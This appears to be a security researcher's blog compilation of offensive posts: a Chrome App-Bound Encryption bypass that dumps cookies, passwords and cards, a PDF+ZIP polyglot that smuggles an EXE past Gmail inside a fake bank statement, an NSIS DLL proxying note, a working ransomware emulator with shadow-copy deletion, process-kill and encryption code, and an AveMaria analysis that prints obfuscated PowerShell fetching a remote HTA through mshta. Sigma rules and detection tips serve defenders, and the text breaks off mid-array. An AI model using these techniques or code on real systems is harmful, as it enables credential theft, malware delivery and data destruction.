Adversary Craft

Author: Valli-Nayagam Chokkalingam

App-Bound Encryption only checks where you’re standing, not who you are. Drop a binary in Chrome’s folder and it hands over the master key.

Contents

Introduction

Chrome 127 introduced App-Bound Encryption to kill cookie theft. The pitch: cookies and passwords get encrypted with a master key that only Chrome’s SYSTEM-level elevation service can decrypt. Any other process asking for the key gets rejected.

It works. Mostly.

There’s one gap in the design. The elevation service validates the path of the caller, not its identity. Put a binary in C:\Program Files\Google\Chrome\Application\ and the service hands over the key like you’re Chrome itself.

This technique is public. CyberArk Labs published the analysis in June 2025. The original CVE (CVE-2025-34092) was later rejected by the NVD — the technique itself still works.

xaitax’s ChromElevator implements a stealthier injected version. What I couldn’t find anywhere was a clear explanation of the three failure modes you hit if you try to build it yourself. That’s what this post is.

The Setup

Chrome stores everything it saves under a single 32-byte AES-256 master key:

• Cookies
• Passwords
• Credit cards
• IBANs
• Autofill

One key, five databases. The key itself lives in Local State, wrapped twice with DPAPI. The outer layer is SYSTEM, so only the elevation service can unwrap it. The inner layer is the user’s context, so it stays tied to your account.

The service that does the unwrapping exposes a COM interface called IElevator. Chrome calls DecryptData on it at startup, gets the key, and uses it to decrypt everything on demand.

The plan: call that same interface ourselves.

Error One: Wrong Neighborhood

First version ran from C:\testing\. Straight rejection:

DecryptData failed (HRESULT: 0x8004a004)

That HRESULT is Chrome’s path validation failure. The elevation service normalizes the caller’s executable path and compares it against a value baked into the encrypted blob. It trims the filename and version directories, so chrome.exe running from Application\ normalizes to C:\Program Files\Google\Chrome. My binary in C:\testing\ normalized to C:\testing. No match.

Fix: copy the tool into Chrome’s directory and run it from there. The service accepts the call.

Error Two: No Handshake

Second attempt, right directory, still failing:

DecryptData failed (HRESULT: 0x8004a003)
LastError: 5

0x8004a003 is EPT_S_NOT_REGISTERED. LastError 5 is ERROR_ACCESS_DENIED. Both point at the same thing: the RPC channel between my process and the elevation service was unauthenticated.

COM calls that cross process boundaries need the proxy configured with an authentication level. Without it, the service sees a call from “nobody” and refuses.

The fix is one function:

CoSetProxyBlanket(elevator,
    RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,   // encrypt the RPC
    RPC_C_IMP_LEVEL_IMPERSONATE,     // let the server impersonate us
    nullptr,
    EOAC_DYNAMIC_CLOAKING);          // use our token, not the parent's

Every serious writeup glosses over this. It’s the reason most custom PoCs stall at 0x8004a003.

Error Three: Wrong User

Third attempt, right directory, proxy configured correctly, still ERROR_ACCESS_DENIED.

This one stung. DPAPI is bound to the user’s logon token. The master key was encrypted under the normal user’s context. I was running the tool from an elevated prompt as Administrator. Different token, different DPAPI context, decryption refused.

The fix is counterintuitive:

1. Copy the exe into Chrome’s folder as Administrator (file permission needed)
2. Run it as the normal user (DPAPI context needed)

Two privilege requirements, two separate steps. If you use CreateProcess from the copy step, the child inherits your elevated token and it still fails. Do it manually.

The Working Flow

Once those three were sorted, the whole thing ran in under two seconds.

Read app_bound_encrypted_key from Local State. Base64-decode it. Strip the APPB magic. Hand the remaining blob to IElevator::DecryptData. The service unwraps it, validates the caller’s path, and returns the 32-byte master key.

Then it’s mechanical:

• Open Network\Cookies (SQLite)
• SELECT host_key, name, encrypted_value FROM cookies
• For each row, check the blob starts with v20
• AES-256-GCM decrypt with the master key
• Repeat for Login Data and Web Data

The v20 format is [v20][nonce 12][ciphertext][tag 16]. Windows BCrypt handles it with three calls. The GCM tag means decryption is self-validating, so you never get garbage output — only the real value or nothing.

Output lands in a JSON file with plaintext cookies, passwords, cards, and the master key.

What I Actually Got

[*] Cookies:    92 total, 92 decrypted
[*] Passwords:  1 total, 1 decrypted
[*] Cards:      1 total, 1 decrypted...........

Figure 1. End-to-end run against a lab profile.

Figure 2. Plaintext dump at C:\testing\abe_dump.json.

Once you have the master key, the databases are open books. Copy them to a USB stick, walk to another machine, decrypt offline with a Python script and the cryptography library. No Chrome, no COM, no service dependency.

That’s the real problem with ABE. It’s a single point of failure. Compromise the key once and every secret in the profile falls.

Defender for Business Results

I ran the same PoC against a Windows 11 lab machine with Defender for Business enabled with no exclusions.

Alert generated: None

Takeaway: Defender for Business produced no alerts or any kind of prevention at any stage of the execution chain.

Figure 3. Defender for Business result on the same machine.

The Flaw

The whole design hinges on the elevation service being able to tell who’s calling. It checks a path string. A directory name is not an identity.

Chrome’s crypto is fine. AES-256-GCM does its job. The problem is the access control wrapped around it — one folder check guarding a class of attacks worth billions to infostealer operators. It held for about two years. The proper fix is moving decryption into Chrome’s own process where no external caller can reach it, which is underway in newer builds.

Detection

If you’re defending this, look for:

• Non-chrome.exe binaries in C:\Program Files\Google\Chrome\Application\
• Any process outside Chrome instantiating the IElevator COM object
• Reads of Local State, Login Data, and Web Data from the same unexpected process
• Sysmon Event 1 for process creation in Chrome’s install directory

None of these alone is damning. Together, they’re a clean signature.

Companion Repository

The full PoC — source, build instructions, and the Defender test results referenced above — is at github.com/AdversaryCraft/chrome-abe-extract. For authorized lab use only.

References

1. CyberArk Labs – C4 Bomb: Blowing Up Chrome’s AppBound Cookie Encryption (June 2025): https://web.archive.org/web/20251116044735/https://www.cyberark.com/resources/threat-research-blog/c4-bomb-blowing-up-chromes-appbound-cookie-encryption
2. xaitax – ChromElevator (DLL injection variant): https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption
3. Gen Digital – VoidStealer: Debugging Chrome to Steal Its Secrets (March 2026): https://www.gendigital.com/blog/insights/research/voidstealer-abe-bypass
4. Google Security Blog – Improving the security of Chrome cookies on Windows (July 2024): https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
5. NVD – CVE-2025-34092 (rejected): https://nvd.nist.gov/vuln/detail/CVE-2025-34092
6. Companion repository – chrome-abe-extract: https://github.com/AdversaryCraft/chrome-abe-extract

Author: Valli-Nayagam Chokkalingam

A PDF+ZIP polyglot can smuggle an EXE, DLL, or other blocked file type past Gmail’s attachment scanner by appearing as a PDF to Gmail while remaining a fully extractable ZIP to 7-Zip, WinRAR, or any standard archive tool.

Contents

Introduction

Have you ever tried to email a simple script or a password-protected ZIP, only to have Gmail slam the door in your face? It’s frustrating. But Gmail’s attachment security is a prime example of how consumer email services try to keep you safe from malware.

When Gmail blocks a message, you typically see: “This message was blocked because its content presents a potential security issue.”

Here’s exactly how Gmail decides what gets through—and how a clever file format trick let me slip an EXE past its defenses.

Figure 1. Gmail blocking an EXE attachment with a security error message.

The Strict Extension Blocklist

To protect users, Gmail simply refuses to attach certain file types. This ban extends to compressed versions of those files (like .gz or .bz2) and files hidden inside archives (like .zip or .tgz).

The blocked list is long and updated often. If your file ends in any of these, Gmail will reject it:

• Executables & Scripts: .exe, .bat, .cmd, .com, .lnk, .pif, .ps1, .scr, .shb, .vb, .vbe, .vbs, .wsf, .wsh
• System & Library Files: .cab, .cpl, .dll, .drv, .img, .iso, .lib, .msc, .msi, .msp, .mst, .sys, .vhd, .vxd
• Application & Developer Packages: .apk, .appx, .appxbundle, .msix, .msixbundle, .jar, .jnlp, .js, .jse, .mjs, .xll
• Microsoft Office & System Macros: .ade, .adp, .chm, .hta, .ins, .isp, .mde, .sct
• Diagnostic Logs: .diagcab, .diagcfg, .diagpkg

And remember: Gmail’s filtering goes beyond extensions. Even messages without attachments can be blocked if the body text, images, or links look malicious.

Figure 2. Google Help page listing all file types blocked in Gmail.

How Gmail Scans Your Email (Layer by Layer)

Gmail doesn’t just look at the file name. Its filtering works in multiple layers.

1. Content Compliance Rules
This layer scans messages and attachments for specific text or patterns set by administrators.

• Content filters scan up to 1 MB.
• For extracted text (like from a PDF), only the first 1 MB is scanned.
• Gmail does not convert or scan files larger than 10 MB under this layer.

2. The Security Sandbox
For Google Workspace, the Security Sandbox runs attachments in a virtual environment to catch zero-day malware.

Scanning can delay delivery by up to 3 minutes.

Supported files include Windows executables (.exe), Microsoft Office files, and PDFs.

Why Password-Protected Archives Can Trigger Gmail Blocking

Gmail automatically scans email attachments for malicious content. However, Google’s documentation acknowledges an important limitation: Gmail cannot open or inspect the contents of password-protected files or archives, and it cannot scan the inner contents of an encrypted archive.

This creates an important security limitation. A password-protected ZIP containing a PDF may be delivered because Gmail cannot inspect the protected PDF. However, if the archive contains a file type that Gmail blocks—such as an executable or another prohibited attachment type—the message may be blocked even when that file is hidden inside the password-protected archive.

In other words, password protection does not necessarily make a blocked file extension acceptable to Gmail. Gmail’s attachment-security rules can still prevent messages containing prohibited file types from being delivered.

The key distinction is that Gmail may be unable to scan the protected contents, while its attachment policies can still block certain prohibited file types contained within an archive.

Figure 3. Gmail warning that a password-protected ZIP cannot be scanned.

The Polyglot Bypass: When a PDF Is Also a ZIP

A polyglot file is a single file that is valid in two formats at once. The one I used is a PDF+ZIP polyglot: it starts with a PDF header (%PDF-) and ends with a valid ZIP end-of-central-directory record (PK\x05\x06).

To Gmail, it looks like a PDF. Gmail applies its PDF scanning logic and never treats the file as a ZIP. The ZIP portion lives after the PDF structure ends and is simply not inspected.

To 7-Zip, WinRAR, or any standard archive tool, however, the same file is a ZIP archive. These tools ignore the PDF header and read the archive, revealing the files inside.

The trick is to adjust the ZIP’s internal offsets so they account for the PDF prefix. Without that fix, the ZIP wouldn’t extract correctly in any archive tool. With it, the file is genuinely dual-natured—a valid PDF to a document viewer, and a valid ZIP to 7-Zip, WinRAR, or Windows Explorer’s built-in archive handler.

Figure 4. Hex view of the polyglot file’s first bytes showing the ASCII %PDF- header (hex: 25 50 44 46 2D) that Gmail reads to classify the file as a PDF document.

Figure 5. Hex view of the polyglot file’s final bytes showing the ZIP end-of-central-directory signature PK\x05\x06 (hex: 50 4B 05 06) that 7-Zip and WinRAR read to treat the same file as a ZIP archive.

Testing with Gmail

I built a PDF+ZIP polyglot that looks like a bank statement. The outer PDF shows a balance and a note: “To access the full transaction details, open this file with 7-Zip and run Statement_Launcher.bat.”

The ZIP contains Statement_Launcher.bat, payload.exe, and a README.txt. The detailed transaction PDF is not stored as a separate file. Instead, it’s base64-encoded and embedded inside the launcher. When run, the launcher decodes the PDF to %TEMP%, opens it, and then silently runs payload.exe.

I sent this file through Gmail. It was not blocked. It arrived in the inbox like any normal PDF.

Figure 6. Screenshot of the sent email’s attachment section showing the polyglot bank statement PDF attached with no security warning or block.

Flow of Events

1. Generate the outer PDF – A bank statement summary with account details and a 7-Zip instruction note.
2. Generate the detailed PDF – The full transaction history.
3. Embed the detailed PDF in the launcher – Base64-encoded inside Statement_Launcher.bat.
4. Build the ZIP – Contains the launcher, payload, and README. The detailed PDF is not a separate file.
5. Adjust ZIP offsets – Increment every offset by the PDF’s length so the ZIP extracts cleanly.
6. Assemble the polyglot – Concatenate PDF + adjusted ZIP into statement.pdf.
7. Send through Gmail – Gmail sees a PDF and applies PDF scanning. It never looks inside the ZIP.
8. Recipient opens the PDF – Sees the summary and the 7-Zip note.
9. Recipient opens with 7-Zip – Sees the launcher, payload, and README.
10. Runs the launcher – Detailed PDF is dropped to %TEMP% and opened; payload runs silently.
11. User sees the detailed statement – The scanner never saw the archive.

Figure 7. Screenshot of the outer PDF bank statement showing the instruction note directing the user to open the file with 7-Zip, extract the archive, and run Statement_Launcher.bat to view the detailed statement.

Figure 8. Opening the polyglot PDF in 7-Zip to reveal and extract its hidden archive contents.

Figure 9. File Explorer view showing the extracted contents: payload.exe, Statement_Launcher.bat, and README.txt.

Figure 10. The detailed statement opens in the PDF viewer, showing the full transaction history from the file silently dropped to the temp folder. This happens once Statement_Launcher.bat is launched.

Figure 11. While the detailed decoy PDF is displayed to the victim, payload.exe executes silently in the background.

A Practical Note on Ethics and Scope

This research is for authorized security testing only. Always work on systems you own or have explicit permission to test, use benign payloads, and share findings responsibly.

Companion Repository

The full PoC is on GitHub: github.com/adversarycraft/janus-file

It contains the polyglot generator script and a short README explaining how to use it. Clone it, install ReportLab, and run the command from the usage section above.

Feedback and pull requests welcome.

Closing Thoughts

Polyglot files aren’t vulnerabilities—they’re just a quirk of file formats. But they expose the assumption many scanners make: that a file has only one type. When a file is two things at once, the scanner must choose which interpretation to apply. That choice is what lets a PDF+ZIP polyglot slip past Gmail’s defenses.

If you’re evaluating email security, add a few polyglot test cases to your suite. You might learn something the documentation doesn’t tell you.

References

1. Google Support – File types blocked in Gmail: https://support.google.com/mail/answer/6590
2. Google Workspace Admin Help – Gmail attachment compliance: https://support.google.com/a/answer/2364580
3. Google Workspace Admin Help – Gmail Security Sandbox: https://support.google.com/a/answer/7676854
4. PKWARE – ZIP File Format Specification (APPNOTE): https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT

Author: Valli-Nayagam Chokkalingam

https://github.com/AdversaryCraft/nsis-dll-hijack-poc

I’ve published a new proof-of-concept on GitHub demonstrating NSIS plugin DLL proxying using the NSIS-based CCleaner installer in a controlled lab environment. Rather than modifying DllMain, the proxy exports the plugin’s expected Create function before forwarding execution to the original DLL. This approach preserves the installer’s expected execution flow while allowing researchers to execute custom logic before seamlessly handing control back to the legitimate plugin.

One interesting aspect of NSIS installers is that plugin DLLs are extracted into a transient ns*.tmp directory under the executing user’s %TEMP% folder immediately before they are loaded. Because this extraction occurs before the plugin is consumed, it creates a narrow time-of-check/time-of-use (TOCTOU) window that is valuable for studying installer behavior and defensive telemetry. Using the legitimate CCleaner installer provides a realistic environment for detection engineering and purple team validation, enabling defenders to evaluate whether their security controls can identify plugin DLL replacement attempts and other anomalous activity during trusted installer execution.

References

Official Installer Download Link – https://download.ccleaner.com/ccsetup564.exe

Author: Valli-Nayagam Chokkalingam

Stop using print-only simulators. This free script emulates real ransomware TTPs – shadow copies, process kills, encryption – and rolls back cleanly. Test your EDR today.

Contents

Disclaimer

This emulator is for authorized purple team training and research only. It is designed to run in an isolated, controlled lab environment (e.g., a disposable VM with a snapshot). Do not run it on any production system, shared network, or without explicit written permission. The author assumes no liability for misuse or damage caused by this software. You have been warned.

The Problem with “Simulators”

Most ransomware simulators print:

[+] Would delete shadow copies now.
[+] Would encrypt file.txt.

That’s not so helpful. Your EDR won’t fire. Your SOC won’t learn. You won’t find gaps.We need real behavior – the exact commands that modern ransomware runs:

• vssadmin delete shadows /all /quiet
• taskkill /f /im excel.exe
• Registry keys under HKCU…\Run
• Files turning into .qilin (or .locked, .encrypted) in real time
  

This post gives you a working ransomware emulator that can decrypt all your files, remove persistence and ransom note – but shadow copies, event logs, and Windows Defender settings are permanently altered. You’ll need a VM snapshot for full recovery. The script is modeled on Qilin’s specific configuration (kill list, .qilin extension), but the TTPs apply to LockBit, BlackCat, Conti, and almost every modern ransomware family.

What Modern Ransomware Actually Does (TTPs, Not Fluff)

I analyzed real samples (Qilin, LockBit, BlackCat). Here’s the minimal behavior you need to emulate – these TTPs are shared across families:

The table above covers the core destructive TTPs – encryption, shadow copies, process termination, persistence. Qilin has many other TTPs (token manipulation, GPO abuse, ESXi targeting), but those are environment‑specific or too risky for a safe lab. We focused on what matters most for EDR testing on a single Windows host.

Real Qilin (and most ransomware) uses AES‑256 or ChaCha20 for file encryption and RSA‑4096 to protect the key. Our emulator uses Fernet (AES‑128 + HMAC) – a simpler, reversible cipher. The goal is to trigger detection (file extension change, mass file modification) without needing real asymmetric crypto. For EDR testing, the behavior is what matters. Rollback works because we save the key locally.

The Emulator: Code Walkthrough

The emulator is a single Python script. It executes real ransomware actions – but includes a full rollback that decrypts your files and removes persistence. Below are the key code snippets.

The snippets are shortened for readability; they show the core logic. The complete script (with error handling, safety checks, and the full kill list) is on GitHub – https://github.com/AdversaryCraft/ransomware-emulator.

Shadow Copy Deletion (T1490)

def delete_shadow_copies():
    subprocess.run("vssadmin delete shadows /all /quiet", shell=True)
    subprocess.run("wmic shadowcopy delete", shell=True)

Process Termination (T1562.009)

for proc in ["sqlservr.exe", "outlook.exe", "excel.exe"]:
    subprocess.run(f"taskkill /f /im {proc}", shell=True)

File Encryption (T1486)

def encrypt_one_file(file_path, cipher):
    with open(file_path, 'rb') as f:
        plain = f.read()
    encrypted = cipher.encrypt(plain)
    with open(file_path + ".qilin", 'wb') as f:
        f.write(encrypted)
    os.remove(file_path)

Rollback

def rollback():
    cipher = Fernet(key)
    for root, _, files in os.walk(TARGET_FOLDERS):
        for f in files:
            if f.endswith(".qilin"):
                # decrypt and restore

Safety features included:

• VM detection (warns if not in VirtualBox/VMware)
• Admin elevation
• Self‑protection (never encrypts itself)
• Extension filtering (only data files, not executables)

Detection Rules That Actually Work

After running the emulator, check if your SIEM caught these.

Sigma: Shadow Copy Deletion

This command is almost never used by legitimate software. Alert on it.

title: Ransomware Shadow Copy Deletion
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4688
    CommandLine|contains|all:
      - 'vssadmin'
      - 'delete'
      - 'shadows'

Sigma: Mass File Extension Change

The unique extension means zero false positives if you see more than a handful.

title: Ransomware File Extension Change
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 11
    TargetFilename|endswith: '.qilin'

Sigma: Process Termination (taskkill)

Killing Office, SQL, or backup processes in bulk is highly suspicious.

title: Suspicious Taskkill Pattern
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4688
    CommandLine|contains|all:
      - 'taskkill'
      - '/f'
      - '/im'

What about other TTPs?

Defender disable (Set-MpPreference) has high false positives – monitor only when followed by encryption. Registry Run key writes are medium noise – alert on unsigned paths. Event log clearing (wevtutil cl, Clear-EventLog) is low noise – add a Sigma rule for it.

Start with the three rules above. If your EDR didn’t alert on any of these, you have a gap. Now fix it.

Try It Yourself (5 Minutes)

Prerequisites

• Windows VM (VMware/VirtualBox) – take a snapshot
• Python 3.8+
• pip install cryptography

Clone & Run

git clone https://github.com/AdversaryCraft/ransomware-emulator
cd ransomware-emulator
python ransomware_emulator.py --attack

Rollback

python ransomware_emulator.py --rollback

The script saves the encryption key as ransomware_key.txt. Don’t lose it – but if you do, just revert the VM snapshot. Keep in mind: shadow copies, event logs, and Windows Defender settings are not restored by the rollback – that’s why you need the snapshot.

Limitations (What We Left Out)

This covers 80% of ransomware’s impact – the noisy, detectable part. Perfect for purple team training, EDR validation, SOC tuning, and IR drills.

Final Word

Stop reading threat reports and start emulating. Run this script, watch what your EDR misses, then fix it. Works for Qilin, LockBit, BlackCat – any modern ransomware that uses the same TTPs.

https://github.com/AdversaryCraft/ransomware-emulator

References

MITRE ATT&CK – https://attack.mitre.org/software/S1242/

Blackpoint Cyber – https://blackpointcyber.com/threat-profile/qilin-ransomware/

Picus Security – https://www.picussecurity.com/resource/blog/qilin-ransomware

Author: Valli-Nayagam Chokkalingam

Contents

Introduction

Not every infection chain worth studying is new. Some of the most instructive ones are simply well-built — stable, repeatable, and grounded in real attacker tradecraft. The campaign analyzed here comes from a slightly older AveMaria distribution wave documented by Zscaler ThreatLabz, where attackers relied on a staged delivery path using nothing more than Windows-native components to land a full remote-access foothold. No exploits, no macros, just a clean chain of execution from user interaction to C2.

I chose this sample because it sits in the ideal learning zone for beginners: simple enough to reproduce in a lab, yet realistic enough to demonstrate how commodity malware actually arrives on endpoints. Each stage builds on the previous one — container, shortcut, mshta execution, staged download, in-memory unpacking — culminating in a fully functional RAT reaching out to its operator.

In this post, we follow that chain all the way through. Not just “what runs,” but how it runs, what artifacts it leaves behind, and how the final payload transitions from an opaque blob into an active remote session. By the end, the goal is to see the entire path from initial click to live C2 — the moment the intrusion stops being a file and starts being an attacker.

Figure 1. AveMaria Attack Chain.

Stage 1 — The Delivery Vessel: An ISO That Isn’t What It Seems

An ISO file is nothing more than a disk image — a byte-for-byte replica of what would normally live on a physical CD or DVD. Windows treats it accordingly. Double-click it, and the operating system quietly mounts the image as a new virtual drive, complete with its own drive letter, icon, and familiar folder view. No extraction tools, no warnings, no sense that anything unusual just happened. To the user, it looks like they’ve simply “opened” a folder that arrived via email or download.

From an analysis perspective, mounting isn’t strictly necessary. Tools like 7-Zip can open ISO images directly, allowing investigators to inspect contents without triggering any automatic execution paths or altering system state. This makes it easier to examine the payload structure safely before interacting with it in a live environment.

Attackers lean on this behavior because it strips away friction. Content inside the image bypasses several common web download protections and arrives already organized, already named, already staged. Once mounted, the files appear local and trustworthy — not something fetched from the internet moments earlier, but something that feels like removable media. It’s a subtle psychological shift that lowers suspicion before any code even executes.

In this sample, the mounted image contains what appears to be an innocuous file named Documents.lnk. Not a PDF, not a Word file — a Windows shortcut. To a casual glance, it blends in perfectly with legitimate office artifacts, often carrying a document-style icon and a believable name. But unlike a real document, a shortcut doesn’t contain content. It contains instructions — where to go, what to launch, and which arguments to pass along. That single click becomes the pivot point where a harmless-looking container transitions into an execution chain.

Figure 2. The campaign arrives as a deceptively small ISO, a container designed to look harmless while staging the real entry point inside.

Figure 3. Opening the ISO mounts it as a virtual DVD drive, disguising attacker-controlled contents as trusted local media.

Figure 4. The ISO contains a single file, documents.lnk, a malicious shortcut disguised as a legitimate document to trigger the next stage.

Stage 2 — The Trigger: Weaponized Shortcut Execution

Windows shortcut files (.lnk) are not documents at all — they are instruction containers. A shortcut simply tells Windows what to launch, where it lives, and which arguments to pass along when the user double-clicks it. This makes them ideal staging mechanisms: they look harmless, carry familiar icons, and execute instantly without raising the same suspicion as scripts or executables.

A quick right-click → Properties is often enough to reveal the illusion. The Target field exposes the real command that will run, and in this case it points not to a document viewer but to PowerShell, already a strong indicator that the file’s purpose is execution rather than opening content. Attackers commonly hide long or obfuscated commands here, sometimes padded to push the malicious portion out of immediate view.

Figure 5. Inspecting the shortcut’s properties reveals that the “document” actually launches PowerShell, exposing its true purpose as an execution trigger.

For a deeper look, the shortcut can be opened directly in a hex editor such as HxD. Despite being a binary format, .lnk files frequently contain readable strings embedded within their structure. Scanning for ASCII or Unicode text quickly surfaces the full command line — a PowerShell invocation with encoded or obfuscated parameters that will fetch or execute the next stage. Extracting that command reveals the true role of the file: not a document launcher, but a compact delivery vehicle designed to turn a single click into controlled code execution.

Figure 6. Viewing the shortcut in a hex editor exposes the embedded PowerShell command, revealing the hidden instructions executed on click.

Stage 3 — Initial Loader: PowerShell Takes Control

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-ExecutionPolicy UnRestricted
$ErrorActionPreference=0;
$YofWYC = $Null;
$GMZglTzk = 'boytLhXGNtg.shkcpeHpK/LcY/fm~cttkxPsPmtKheBassahImetmhYYBcZQo/:iorC.Nha';
sal xOXqeLV ($GMZglTzk[(-44676+44688)]+$GMZglTzk[(31996-31953)]+$GMZglTzk[(26559-26555)]);
xOXqeLV uDFvHxvnl ($GMZglTzk[(-48812+48860)]+$GMZglTzk[(-57051+57068)]+$GMZglTzk[(-44482+44488)]);
xOXqeLV csBsb ($GMZglTzk[(-28324+28351)]+$GMZglTzk[(-44676+44688)]+$GMZglTzk[(-7250+7255)]+$GMZglTzk[(-15622+15625)]+$GMZglTzk[(31996-31953)]);
foreach($PVeYoE in @(
    (-8771+8776),(-65196+65199),(44578-44575),(-35487+35503),
    (-25222+25234),(53013-52951),(58129-58108),(-13523+13544),
    (-58933+58945),(-53822+53832),(60473-60470),(33846-33819),
    (-46252+46295),(3385-3320),(-20808+20822),(-8945+8962),
    (-47806+47809),(24980-24968),(-13291+13302),(28341-28326),
    (-36009+36010),(5565-5538),(37420-37399),(30164-30159),
    (46917-46906),(-9230+9235),(175-172),(12473-12430)
)) {
    $YofWYC += $GMZglTzk[$PVeYoE]
};
uDFvHxvnl ("csBsb $YofWYC");

Figure 7. Obfuscated PowerShell embedded in the shortcut reconstructs a hidden URL at runtime and fetches the next stage.

The shortcut never tries to open a document at all — it simply fires off C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe with permissive flags (-ExecutionPolicy UnRestricted and $ErrorActionPreference = 0), handing control from Explorer straight to PowerShell. The script then sets up two variables: $GMZglTzk, a long, seemingly random string that functions as a character reservoir, and $YofWYC, an empty buffer that will hold the final output. Rather than invoking sensitive capabilities directly, it manufactures them on the fly. An alias named xOXqeLV resolves to Set-Alias, which is used to create uDFvHxvnl mapped to IEX (Invoke-Expression) and csBsb mapped to mshta. A loop walks through a list of computed indices, pulling one character at a time from $GMZglTzk to assemble a concealed address — https[:]//sgtmarkets[.]com/h.hta — that never appears in readable form until the script runs. The final line executes IEX (“mshta “), causing the legitimate mshta.exe binary to retrieve and execute the remote HTA content. Nothing is dropped to disk at this point; PowerShell’s job is simply to assemble the execution chain in memory and pass control to the next stage.

Figure 8. With debug printing enabled, the script reveals its runtime behavior — reconstructing mshta and assembling the hidden URL character-by-character before initiating remote execution.

Figure 9. Sysmon confirms PowerShell spawning mshta.exe with the reconstructed URL, validating the transition from in-memory loader to remote HTA execution.

Stage 4 — The Pivot: HTA as a Script Host

The chain now pivots into an HTA (HTML Application) — a file type that looks like a web page but executes as a local Windows application under mshta.exe. Unlike regular web content, HTAs execute outside the browser sandbox as local applications under mshta.exe, allowing VBScript/JScript to interact with the filesystem, registry, and COM interfaces using the current user’s privileges — a combination that makes them a dependable living-off-the-land launch mechanism. In this sample, nearly all of the script serves as intentional clutter: empty routines and arbitrary names surrounding a single decoding function that reconstructs the true payload from a large numeric array (shyNkdc). Each value is shifted by a fixed offset (59108) and converted via Chr(), assembling the final PowerShell command entirely at runtime. For analysis, the VBScript portion was extracted from the HTA (discarding the HTML wrapper and inert code) and converted into a minimal standalone .vbs script containing only the decoding routine and array. To safely reveal the payload without executing it, the VBScript logic extracted from the HTA was modified to show the decoded command in a message box, while the full decoded command is written to an output.txt file in the same directory. What initially appears as an impenetrable wall of numbers collapses into a simple, deterministic transformation — static encoded data in, clear executable command out — once the single functional component is isolated.

Figure 10. Malicious HTA file containing embedded obfuscated VBScript that decodes and executes a hidden PowerShell command via mshta.exe.

Option Explicit
Function baxlA(ByVal debHiYVRjoZPX)
    baxlA = VarType(debHiYVRjoZPX)
End Function
Function sbtfmbzBZiKj(ByVal shyNkdc)
    Dim debHiYVRjoZPX
    Dim CadHFhmcICIK
    Dim JRpOiBwoWm
    Dim yDwRYqrX
    yDwRYqrX = 59108
    debHiYVRjoZPX = baxlA(shyNkdc)
    If debHiYVRjoZPX = 8204 Then
        For Each CadHFhmcICIK In shyNkdc
            JRpOiBwoWm = JRpOiBwoWm & Chr(CadHFhmcICIK - yDwRYqrX)
        Next
    End If
    sbtfmbzBZiKj = JRpOiBwoWm
End Function
Sub xzyqy()
    Dim shyNkdc
    Dim QYARDSPMooGQ
    shyNkdc = Array(59220,59219,59227,59209,59222,59223,59212,59209,59216,59216,59154,59209,59228,59209,59140,59153,59177,59228,59209,59207,59225,59224,59213,59219,59218,59188,59219,59216,59213,59207,59229,59140,59193,59218,59190,59209,59223,59224,59222,59213,59207,59224,59209,59208,59140,59210,59225,59218,59207,59224,59213,59219,59218,59140,59226,59208,59198,59184,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59152,59140,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59149,59231,59199,59181,59187,59154,59178,59213,59216,59209,59201,59166,59166,59195,59222,59213,59224,59209,59173,59216,59216,59174,59229,59224,59209,59223,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59152,59140,59144,59212,59230,59223,59226,59212,59228,59209,59194,59173,59224,59194,59189,59205,59225,59224,59149,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59179,59207,59193,59176,59181,59227,59183,59211,59194,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59149,59231,59213,59210,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59154,59177,59218,59208,59223,59195,59213,59224,59212,59148,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59163,59161,59156,59152,59162,59164,59164,59156,59160,59152,59162,59164,59164,59157,59158,59152,59162,59164,59164,59157,59158,59149,59149,59149,59140,59153,59209,59221,59140,59144,59192,59222,59225,59209,59149,59231,59222,59225,59218,59208,59216,59216,59159,59158,59154,59209,59228,59209,59140,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59140,59233,59209,59216,59223,59209,59213,59210,59148,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59154,59177,59218,59208,59223,59195,59213,59224,59212,59148,59148,59205,59230,59186,59207,59224,59192,59206,59177,59207,59215,59227,59206,59191,59198,59186,59211,59225,59140,59172,59148,59162,59164,59163,59161,59156,59152,59162,59164,59164,59157,59162,59152,59162,59164,59164,59157,59165,59152,59162,59164,59163,59161,59159,59149,59149,59149,59140,59153,59209,59221,59140,59144,59192,59222,59225,59209,59149,59231,59220,59219,59227,59209,59222,59223,59212,59209,59216,59216,59154,59209,59228,59209,59140,59153,59177,59228,59209,59207,59225,59224,59213,59219,59218,59188,59219,59216,59213,59207,59229,59140,59225,59218,59222,59209,59223,59224,59222,59213,59207,59224,59209,59208,59140,59153,59178,59213,59216,59209,59140,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59233,59209,59216,59223,59209,59231,59191,59224,59205,59222,59224,59153,59188,59222,59219,59207,59209,59223,59223,59140,59144,59173,59192,59224,59212,59223,59194,59196,59189,59206,59176,59175,59225,59178,59233,59233,59167,59210,59225,59218,59207,59224,59213,59219,59218,59140,59220,59173,59198,59196,59190,59191,59206,59209,59182,59229,59213,59229,59217,59182,59196,59192,59195,59194,59212,59148,59144,59215,59174,59206,59211,59191,59190,59219,59220,59228,59190,59219,59176,59179,59196,59186,59179,59182,59179,59228,59181,59149,59231,59144,59212,59216,59229,59215,59193,59223,59178,59220,59206,59198,59181,59227,59176,59211,59226,59224,59186,59140,59169,59140,59186,5